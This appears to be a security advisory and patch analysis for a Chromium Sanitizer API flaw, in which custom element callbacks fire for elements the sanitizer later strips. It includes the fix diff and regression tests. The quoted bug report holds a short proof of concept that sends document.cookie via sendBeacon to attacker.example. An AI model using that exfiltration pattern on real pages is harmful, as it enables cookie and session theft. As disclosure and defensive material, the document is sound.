CVE-2026-87632
Overview
Background
- Sanitizer API
- a Blink feature (used by
setHTML,setHTMLUnsafe, and the streamingstreamHTML/appendHTMLfamily) that parses untrusted markup and drops elements/attributes not permitted by a configuration. - Custom element (CE) reaction
- script the page registers for a tag name (the
constructorandconnectedCallback) that runs when the parser creates and upgrades an element with a matching definition. - `CustomElementDefinition`
- the object returned by looking up a registered custom element; if it is non-null during parsing, Blink treats element creation as “will execute script” and invokes the CE reactions.
- `QualifiedName`
- Blink’s namespaced element/attribute name type used as the key for the sanitizer’s allow/remove/replace element sets.
Root Cause Analysis
During HTML fragment parsing and streaming, the element-creation path unconditionally called LookUpCustomElementDefinition(document, tag_name, is, registry); when the resulting CustomElementDefinition* was non-null, the parser marked creation as script-executing and ran the element’s CE reactions (constructor, connectedCallback). This happened even when the active sanitizer was configured to strip the very element being created, so the sanitizer removed the element from the final DOM only after attacker-supplied markup had already caused page-defined script to run — violating the Sanitizer API invariant that a disallowed element must produce no observable side effects.
The fix threads the sanitizer into the creation path and only looks up (and thus only upgrades / runs reactions for) an element when !sanitizer_ || sanitizer_->IsElementAllowed(tag_name) is true. The new Sanitizer::IsElementAllowed returns false for any name in remove_elements_ or replace_elements_, or absent from an explicit allow_elements_ allow-list, so disallowed tags never obtain a definition and their CE reactions never fire. The regression tests confirm the intended behavior: constructor_called and connectedCallback_called must remain false for elements the sanitizer drops.
Sanitizer::IsElementAllowed check so no script runs for an element that is destined to be removed.Attack Path
- Page defines a custom element
a document (or a scoped
CustomElementRegistry) registers a tag such asdisallowed-elementwhoseconstructor/connectedCallbackruns script. - Untrusted markup is sanitized
attacker-controlled HTML containing that tag is passed to a sanitizing sink (
setHTML,setHTMLUnsafe, or a streamingstreamHTML/appendHTMLvariant) with a config that removes it (removeElements) or omits it fromelements. - Definition lookup runs before removal
the pre-patch creation path calls
LookUpCustomElementDefinitionregardless of the config, gets a non-null definition, and marks creation as “will execute script.” - CE reactions execute
the element’s
constructorandconnectedCallbackfire in the page’s context even though the sanitizer subsequently strips the element from the output DOM, giving script execution from markup that was supposed to be inert (cross-site scripting). - Escalation to XSS in the embedding origin (inferred) — the advisory classifies this as cross-site scripting in the Sanitizer API; the concrete attacker payload depends on the page’s registered CE reactions and is not shown in the patch.
Impact Assessment
(inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
DisallowedElementthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
constructorthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
connectedCallbackthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
forthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
DisallowedElementthird_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html |
modified | |
constructorthird_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html |
modified | |
connectedCallbackthird_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html |
modified | |
ifthird_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html |
modified | |
forthird_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html |
modified |
Files Changed
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.htmlthird_party/blink/renderer/core/sanitizer/sanitizer.hthird_party/blink/renderer/core/sanitizer/sanitizer.ccthird_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.htmlthird_party/blink/renderer/core/html/parser/html_construction_site.cc
Audit Directions
- Side effects before sanitizationaudit every parser/sink path that runs script-bearing work (custom element upgrades,
is-attribute handling, resource fetches, form association) to confirm it is gated on the sanitizer’s allow decision rather than performed before the element is dropped. - Consistency across sink variantsverify the guard covers all entry points (
setHTML,setHTMLUnsafe, and each streaming/positionalstream*/append*/prepend*method) and both the global and scopedCustomElementRegistrycases, since the regression tests deliberately enumerate all of them. - Allow-list completeness in `Sanitizer`review that
IsElementAllowedand related helpers account for all exclusion sources (remove_elements_,replace_elements_, empty vs. populatedallow_elements_) consistently, so a tag disallowed by one mechanism cannot slip through another code path.
Patch
From d24449812426052b36c7b73c1a5442923a812af2 Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <nrosenthal@chromium.org>
Date: Tue, 28 Jul 2026 06:19:20 -0700
Subject: [PATCH] Block CE reactions from elements disallowed by sanitizer
This applies both to regular fragment parsing and to streaming.
We check the sanitizer early (when element is created) and avoid
initializing the CE definition if the element is anyway going to be
removed by the sanitizer.
Bug: 538197156
Change-Id: Ib10400043a54710060d84477c9b30513e4acc1d8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8158260
Reviewed-by: Daniel Vogelheim <vogelheim@chromium.org>
Commit-Queue: Noam Rosenthal <nrosenthal@google.com>
Cr-Commit-Position: refs/heads/main@{#1669408}
---
diff --git a/third_party/blink/renderer/core/html/parser/html_construction_site.cc b/third_party/blink/renderer/core/html/parser/html_construction_site.cc
index 4aef66b..8e3e37a 100644
--- a/third_party/blink/renderer/core/html/parser/html_construction_site.cc
+++ b/third_party/blink/renderer/core/html/parser/html_construction_site.cc
@@ -1414,8 +1414,11 @@
}
// 8. Let definition be the result of looking up a custom element definition
// given registry, given namespace, local name and is.
- auto* definition =
- LookUpCustomElementDefinition(document, tag_name, is, registry);
+ CustomElementDefinition* definition = nullptr;
+ if (!sanitizer_ || sanitizer_->IsElementAllowed(tag_name)) {
+ definition =
+ LookUpCustomElementDefinition(document, tag_name, is, registry);
+ }
// "5. If definition is non-null and the parser was not originally created
// for the HTML fragment parsing algorithm, then let will execute script
// be true."
diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.cc b/third_party/blink/renderer/core/sanitizer/sanitizer.cc
index 5f67571..c47c621 100644
--- a/third_party/blink/renderer/core/sanitizer/sanitizer.cc
+++ b/third_party/blink/renderer/core/sanitizer/sanitizer.cc
@@ -132,6 +132,19 @@
DCHECK(isValid());
}
+bool Sanitizer::IsElementAllowed(const QualifiedName& name) const {
+ if (remove_elements_ && remove_elements_->Contains(name)) {
+ return false;
+ }
+ if (replace_elements_ && replace_elements_->Contains(name)) {
+ return false;
+ }
+ if (allow_elements_ && !allow_elements_->Contains(name)) {
+ return false;
+ }
+ return true;
+}
+
bool Sanitizer::allowElement(
const V8UnionSanitizerElementNamespaceWithAttributesOrString* element) {
const QualifiedName name = getFrom(element);
diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.h b/third_party/blink/renderer/core/sanitizer/sanitizer.h
index 281251e..3e861d46 100644
--- a/third_party/blink/renderer/core/sanitizer/sanitizer.h
+++ b/third_party/blink/renderer/core/sanitizer/sanitizer.h
@@ -134,6 +134,7 @@
// the insertion target, or discard the element. Returns the adjusted
// insertion target, or null if the element is to be discarded.
// This is used for streaming.
+ bool IsElementAllowed(const QualifiedName& name) const;
Action SanitizeSingleNode(Node* node, Mode safe) const;
bool ShouldReplaceNodeWithChildren(Node* node) const;
void ProcessElement(Element* element, Mode safe) const;
@@ -215,6 +216,10 @@
return sanitizer_->AllowIsAttribute(element_name);
}
+ bool IsElementAllowed(const QualifiedName& element_name) const {
+ return sanitizer_->IsElementAllowed(element_name);
+ }
+
void DidParseDocument(Document* document);
void Trace(Visitor* visitor) const { visitor->Trace(sanitizer_); }
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connected_called = true;
+ }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connected_called = true;
+ }
+});
+
+const asyncMethods = [
+ "streamHTML", "streamAppendHTML", "streamPrependHTML",
+ "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+ "appendHTML", "prependHTML",
+ "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+ for (const config of [
+ { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+ { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+ ]) {
+ promise_test(async (t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const writer = container[method](config.options).getWriter();
+ await writer.write("<disallowed-element></disallowed-element>");
+ await writer.close();
+
+ assert_equals(container.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+ }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+ promise_test(async (t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const shadow = container.attachShadow({ mode: "open", registry });
+ t.add_cleanup(() => {
+ const newContainer = document.createElement("div");
+ newContainer.id = "container";
+ container.replaceWith(newContainer);
+ });
+
+ // Need to use the shadow root for streaming to test scoped registry
+ const options = config.name === "removeElements"
+ ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+ : { sanitizer: { elements: ["div"] } };
+
+ const writer = shadow[method](options).getWriter();
+ await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+ await writer.close();
+
+ assert_equals(shadow.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+ }
+}
+
+for (const method of syncMethods) {
+ for (const config of [
+ { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+ { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+ ]) {
+ test((t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ container[method]("<disallowed-element></disallowed-element>", config.options);
+
+ assert_equals(container.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+ }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+ test((t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const shadow = container.attachShadow({ mode: "open", registry });
+ t.add_cleanup(() => {
+ const newContainer = document.createElement("div");
+ newContainer.id = "container";
+ container.replaceWith(newContainer);
+ });
+
+ const options = config.name === "removeElements"
+ ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+ : { sanitizer: { elements: ["div"] } };
+
+ shadow[method]("<disallowed-element-scoped></disallowed-element-scoped>", options);
+
+ assert_equals(shadow.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+ }
+}
+</script>
+</body>
diff --git a/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
new file mode 100644
index 0000000..2cd2c62
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
@@ -0,0 +1,78 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <script src="/resources/testharness.js"></script>
+ <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connectedCallback_called = false;
+
+class DisallowedElement extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connectedCallback_called = true;
+ }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connectedCallback_called = true;
+ }
+});
+
+function assert_removed(method, sanitizer, scoped = false) {
+ constructor_called = connectedCallback_called = false;
+
+ let d = document.createElement("div");
+ document.body.append(d);
+
+ let target = d;
+ if (scoped) {
+ target = d.attachShadow({ mode: "open", registry });
+ }
+
+ const tag = scoped ? "disallowed-element-scoped" : "disallowed-element";
+
+ if (method === "setHTML") {
+ target.setHTML(`<${tag}></${tag}>`, { sanitizer });
+ } else if (method === "setHTMLUnsafe") {
+ target.setHTMLUnsafe(`<${tag}></${tag}>`, { sanitizer });
+ }
+
+ assert_equals(target.innerHTML, ``);
+ assert_false(constructor_called, "Constructor should not be called");
+ assert_false(connectedCallback_called, "ConnectedCallback should not be called");
+
+ d.remove();
+}
+
+for (const method of ["setHTML", "setHTMLUnsafe"]) {
+ for (const config of [
+ { name: "removeElements", options: { removeElements: ["disallowed-element"] }, scopedOptions: { removeElements: ["disallowed-element-scoped"] } },
+ { name: "allowElements", options: { elements: ["div"] }, scopedOptions: { elements: ["div"] } }
+ ]) {
+ test(t => {
+ assert_removed(method, config.options, false);
+ }, `${method} blocks CE constructor when element is dropped by explicit sanitizer config (${config.name})`);
+
+ test(t => {
+ assert_removed(method, config.scopedOptions, true);
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by explicit sanitizer config (${config.name})`);
+ }
+}
+
+</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connected_called = true;
+ }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connected_called = true;
+ }
+});
+
+const asyncMethods = [
+ "streamHTML", "streamAppendHTML", "streamPrependHTML",
+ "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+ "appendHTML", "prependHTML",
+ "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+ for (const config of [
+ { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+ { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+ ]) {
+ promise_test(async (t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const writer = container[method](config.options).getWriter();
+ await writer.write("<disallowed-element></disallowed-element>");
+ await writer.close();
+
+ assert_equals(container.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+ }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+ promise_test(async (t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const shadow = container.attachShadow({ mode: "open", registry });
+ t.add_cleanup(() => {
+ const newContainer = document.createElement("div");
+ newContainer.id = "container";
+ container.replaceWith(newContainer);
+ });
+
+ // Need to use the shadow root for streaming to test scoped registry
+ const options = config.name === "removeElements"
+ ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+ : { sanitizer: { elements: ["div"] } };
+
+ const writer = shadow[method](options).getWriter();
+ await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+ await writer.close();
+
+ assert_equals(shadow.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+ }
+}
+
+for (const method of syncMethods) {
+ for (const config of [
+ { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+ { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+ ]) {
+ test((t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ container[method]("<disallowed-element></disallowed-element>", config.options);
+
+ assert_equals(container.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+ }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+ test((t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const shadow = container.attachShadow({ mode: "open", registry });
+ t.add_cleanup(() => {
+ const newContainer = document.createElement("div");
+ newContainer.id = "container";
+ container.replaceWith(newContainer);
+ });
+
+ const options = config.name === "removeElements"
+ ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+ : { sanitizer: { elements: ["div"] } };
+
+ shadow[method]("<disallowed-element-scoped></disallowed-element-scoped>", options);
+
+ assert_equals(shadow.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+ }
+}
+</script>
+</body>
diff --git a/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
new file mode 100644
index 0000000..2cd2c62
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
@@ -0,0 +1,78 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <script src="/resources/testharness.js"></script>
+ <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connectedCallback_called = false;
+
+class DisallowedElement extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connectedCallback_called = true;
+ }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connectedCallback_called = true;
+ }
+});
+
+function assert_removed(method, sanitizer, scoped = false) {
+ constructor_called = connectedCallback_called = false;
+
+ let d = document.createElement("div");
+ document.body.append(d);
+
+ let target = d;
+ if (scoped) {
+ target = d.attachShadow({ mode: "open", registry });
+ }
+
+ const tag = scoped ? "disallowed-element-scoped" : "disallowed-element";
+
+ if (method === "setHTML") {
+ target.setHTML(`<${tag}></${tag}>`, { sanitizer });
+ } else if (method === "setHTMLUnsafe") {
+ target.setHTMLUnsafe(`<${tag}></${tag}>`, { sanitizer });
+ }
+
+ assert_equals(target.innerHTML, ``);
+ assert_false(constructor_called, "Constructor should not be called");
+ assert_false(connectedCallback_called, "ConnectedCallback should not be called");
+
+ d.remove();
+}
+
+for (const method of ["setHTML", "setHTMLUnsafe"]) {
+ for (const config of [
+ { name: "removeElements", options: { removeElements: ["disallowed-element"] }, scopedOptions: { removeElements: ["disallowed-element-scoped"] } },
+ { name: "allowElements", options: { elements: ["div"] }, scopedOptions: { elements: ["div"] } }
+ ]) {
+ test(t => {
+ assert_removed(method, config.options, false);
+ }, `${method} blocks CE constructor when element is dropped by explicit sanitizer config (${config.name})`);
+
+ test(t => {
+ assert_removed(method, config.scopedOptions, true);
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by explicit sanitizer config (${config.name})`);
+ }
+}
+
+</script>
+</body>
+</html>
Original Bug Report
streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements
Steps to reproduce the problem
- On a server, save the attached
stream-ce-callback-poc.pyand runpython3 stream-ce-callback-poc.py - Open
http://VPS_IP:9590/in Chrome 150 - The page defines a custom element
<embed-widget>withobservedAttributes: ['data-src']whoseattributeChangedCallbackcallsnavigator.sendBeacon(val, ...)with the page’sdocument.cookieand URL - Click “Render with streamHTML() (VULNERABLE)”
- Check the callback log:
constructor()andattributeChangedCallback()fire during streamHTML,sendBeaconreturnstrue, and the element is stripped after - Check “Attacker callback server hits”: the beacon was received at the attacker endpoint containing the page’s cookie and URL
- Click “Render with setHTML() (SAFE)” to compare: zero callbacks fire, no beacon sent
Minimal inline reproduction:
class X extends HTMLElement {
constructor() { super(); console.log('constructor fired'); }
static get observedAttributes() { return ['data-x']; }
attributeChangedCallback(n,o,v) {
console.log('attributeChangedCallback:', v);
navigator.sendBeacon(v, document.cookie);
}
}
customElements.define('x-widget', X);
const div = document.createElement('div');
document.body.appendChild(div);
// streamHTML: callbacks fire, beacon sent
const s = div.streamHTML();
const w = s.getWriter();
await w.write('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
await w.close();
// constructor + attributeChangedCallback execute. Element stripped after.
// setHTML: no callbacks
div.setHTML('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
// No output. No callbacks.
Problem Description
The safe streaming HTML APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructor() and attributeChangedCallback() during parsing, before the sanitizer strips the element. setHTML() correctly suppresses all CE lifecycle callbacks.
The streaming path creates the parser on the live document with the active custom element registry, so custom element constructors fire during element creation and attributeChangedCallback fires during attribute setting.
Both happen before the sanitizer removes the element. connectedCallback does not fire because parsed nodes stay in a disconnected DocumentFragment.
setHTML avoids this by parsing into an inert template document with a null registry, so no CE definitions are found and no callbacks execute.
###Attack scenario
A web application using custom elements (Lit, FAST, Shoelace, native Web Components) renders user-provided HTML via streamHTML() for safe sanitization.
An attacker includes the application’s custom element tags with attacker-controlled attribute values.
The callbacks fire before the element is stripped, enabling network requests via sendBeacon/fetch to attacker-controlled URLs.
The PoC demonstrates exfiltration of document.cookie to the attacker server this way.
Confirmed on all three safe streaming APIs: streamHTML(), streamAppendHTML(), streamPrependHTML().
Summary
streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements
Custom Questions
Reporter credit:
Eli Ainhorn
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A \